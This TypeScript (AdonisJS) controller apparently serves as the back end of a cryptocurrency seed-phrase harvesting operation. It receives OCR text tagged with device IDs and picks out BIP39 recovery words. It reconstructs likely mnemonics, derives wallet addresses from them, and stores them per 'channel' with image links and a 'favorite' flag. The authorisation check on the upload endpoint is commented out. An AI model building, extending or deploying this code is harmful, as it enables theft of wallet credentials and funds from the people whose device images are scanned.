import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import PaginationService from 'App/Services/PaginationService'
import { schema } from '@ioc:Adonis/Core/Validator'
import OcrRecord from 'App/Models/OcrRecord'
import Drive from '@ioc:Adonis/Core/Drive'
import BlockchainWalletService from 'App/Services/BlockchainWalletService'
import * as bip39 from 'bip39'
import { HttpStatusCode } from 'axios'
import { HttpException } from '@adonisjs/http-server/build/src/Exceptions/HttpException'

export default class OcrRecordController {
    private paginationService = new PaginationService(OcrRecord)

    public async index({ request, auth }: HttpContextContract) {
        const user = auth.user
        const isApiUser = user?.$attributes?.role === 'api'

        const requestData = request.all()
        if (isApiUser) {
            requestData.channel = user.username
        }

        const res = await this.paginationService.paginate(requestData)
        if (isApiUser) {
            res.forEach((record) => {
                record.content = ''
                record.record = ''
                record.img = ''
            })
        } else {
            await Promise.all(
                res.map(async (record) => {
                    if (record.img && record.img !== '-') {
                        record.img = await Drive.getSignedUrl(
                            new URL(record.img).pathname.replace(/^\//, '')
                        )
                    } else {
                        record.img = ''
                    }
                })
            )
        }

        return res
    }

    public async store({ request, bouncer }: HttpContextContract) {
        // await bouncer.authorize('admin')
        await request.validate({
            schema: schema.create({
                deviceId: schema.string(),
                record: schema.string()
            })
        })
        const data = request.all()
        data.content = await this.recordParsing(data.record)
        data.detail = await BlockchainWalletService.getAllAddresses(data.content)

        return await OcrRecord.create(data)
    }

    public async updateContent({ request, response }: HttpContextContract) {
        const data = await request.validate({
            schema: schema.create({
                id: schema.number(),
                content: schema.string()
            })
        })
        const record = await OcrRecord.findBy('id', request.input('id'))
        if (record) {
            record.content = data.content
            await record.save()
            return response.ok(record)
        } else {
            return response.notFound({ message: 'Record not found' })
        }
    }

    public async updateDetail({ params, response }: HttpContextContract) {
        const record = await OcrRecord.findBy('id', params.id)
        if (record) {
            const walletAddresses = await BlockchainWalletService.getAllAddresses(record.content)
            record.detail = JSON.stringify(walletAddresses)
            await record.save()
            return response.ok(record)
        } else {
            return response.notFound({ message: 'Record not found.' })
        }
    }

    public async updateFavorite({ params, response }: HttpContextContract) {
        const record = await OcrRecord.findBy('id', params.id)
        if (record) {
            record.favorite = !record.favorite
            await record.save()
            return response.ok(record)
        } else {
            return response.notFound({ message: 'Record not found.' })
        }
    }

    public async favorite({ request, auth }: HttpContextContract) {
        const user = auth.user
        const isApiUser = user?.$attributes?.role === 'api'

        const requestData = request.all()
        requestData.favorite = 1
        if (isApiUser) {
            requestData.channel = user.username
        }

        const res = await this.paginationService.paginate(requestData)
        if (isApiUser) {
            res.forEach((record) => {
                record.content = ''
                record.record = ''
                record.img = ''
            })
        } else {
            await Promise.all(
                res.map(async (record) => {
                    if (record.img && record.img !== '-') {
                        record.img = await Drive.getSignedUrl(
                            new URL(record.img).pathname.replace(/^\//, '')
                        )
                    }
                })
            )
        }

        return res
    }

    public async getAllAddresses({ request }: HttpContextContract) {
        await request.validate({
            schema: schema.create({
                mnemonic: schema.string()
            })
        })
        return BlockchainWalletService.getAllAddresses(request.input('mnemonic'))
    }

    public async recordParsing(record: string) {
        // 解析记录字符串
        const lines = record.split('\n')

        if (record.includes('Rec:') && record.includes('Det:')) {
            // 提取所有Rec:后面的文本
            lines
                .filter((line) => line.includes('Rec:'))
                .map((line) => {
                    const parts = line.split('Rec:')
                    if (parts.length < 2) return ''

                    // 获取Rec:之后、Cls:之前的部分
                    const afterRec = parts[1]
                    const beforeCls = afterRec.split('Cls:')[0]

                    // 找到最后一个逗号的位置
                    const lastCommaIndex = beforeCls.lastIndexOf(',')

                    // 如果找到逗号，提取逗号之前的文本；否则使用整个文本
                    return lastCommaIndex !== -1
                        ? beforeCls.substring(0, lastCommaIndex).trim()
                        : beforeCls.trim()
                })
                .filter((text) => text.length > 0)
        }

        // 从文本中提取潜在的助记词
        const potentialWords = new Set<string>()
        const englishWordRegex = /[a-zA-Z]+/g

        // 遍历所有行提取英文单词
        lines.forEach((line) => {
            const words = line.match(englishWordRegex)
            if (words) {
                words.forEach((word) => {
                    // 忽略数字和分数值
                    if (!word.includes('.') && isNaN(Number(word))) {
                        potentialWords.add(word.toLowerCase())
                    }
                })
            }
        })

        // 过滤出可能是BIP39助记词的单词
        const potentialBip39Words = Array.from(potentialWords).filter((word) => {
            // 使用bip39.wordlists.english检查单词是否在BIP39词表中
            return bip39.wordlists.english.includes(word)
        })

        // 寻找连续助记词序列
        const possibleMnemonics = await this.findPossibleMnemonics(lines, potentialBip39Words)

        console.log('Potential BIP39 words:', potentialBip39Words.toString())
        console.log('Potential mnemonics:', possibleMnemonics.toString())

        // 将所有可能的助记词合并为一个字符串返回
        if (possibleMnemonics.length < potentialBip39Words.length) {
            return potentialBip39Words.join(' ')
        }
        return possibleMnemonics.join(' ')
    }

    // 寻找可能的助记词序列
    private async findPossibleMnemonics(
        recTexts: string[],
        bip39Words: string[]
    ): Promise<string[]> {
        const mnemonics: string[] = []

        // 检查每行文本是否包含连续地助记词
        recTexts.forEach((text) => {
            const words = text.split(/\s+/)

            // 检查这一行是否包含多个BIP39词
            const bip39WordsInLine = words.filter((word) => {
                // 清理单词中的标点符号以及数字
                const cleanWord = word.replace(/[.,;:!?0-9]/g, '')
                return bip39Words.includes(cleanWord)
            })

            // 如果找到多个BIP39词，可能是助记词序列
            if (bip39WordsInLine.length >= 3) {
                // mnemonics存入bip39WordsInLine中每一个元素
                bip39WordsInLine.map((word) => {
                    mnemonics.push(word)
                })
            }
        })

        // 尝试从所有文本中提取12或24个词的序列
        // const allWords = recTexts.join(' ').split(/\s+/)
        // const bip39WordsInAll = allWords.filter((word) => {
        //     const cleanWord = word.replace(/[.,;:!?]/g, '')
        //     return bip39Words.includes(cleanWord)
        // })
        //
        // bip39WordsInAll.map((word) => {
        //     mnemonics.push(word)
        // })

        // 查找12词或24词的连续序列
        // for (let i = 0; i <= bip39WordsInAll.length - 12; i++) {
        //     const possibleMnemonic = bip39WordsInAll.slice(i, i + 12).join(' ')
        //     if (bip39.validateMnemonic(possibleMnemonic)) {
        //         mnemonics.push(possibleMnemonic)
        //     }
        // }
        //
        // for (let i = 0; i <= bip39WordsInAll.length - 24; i++) {
        //     const possibleMnemonic = bip39WordsInAll.slice(i, i + 24).join(' ')
        //     if (bip39.validateMnemonic(possibleMnemonic)) {
        //         mnemonics.push(possibleMnemonic)
        //     }
        // }

        // 返回去重后的助记词列表
        return mnemonics
    }
}
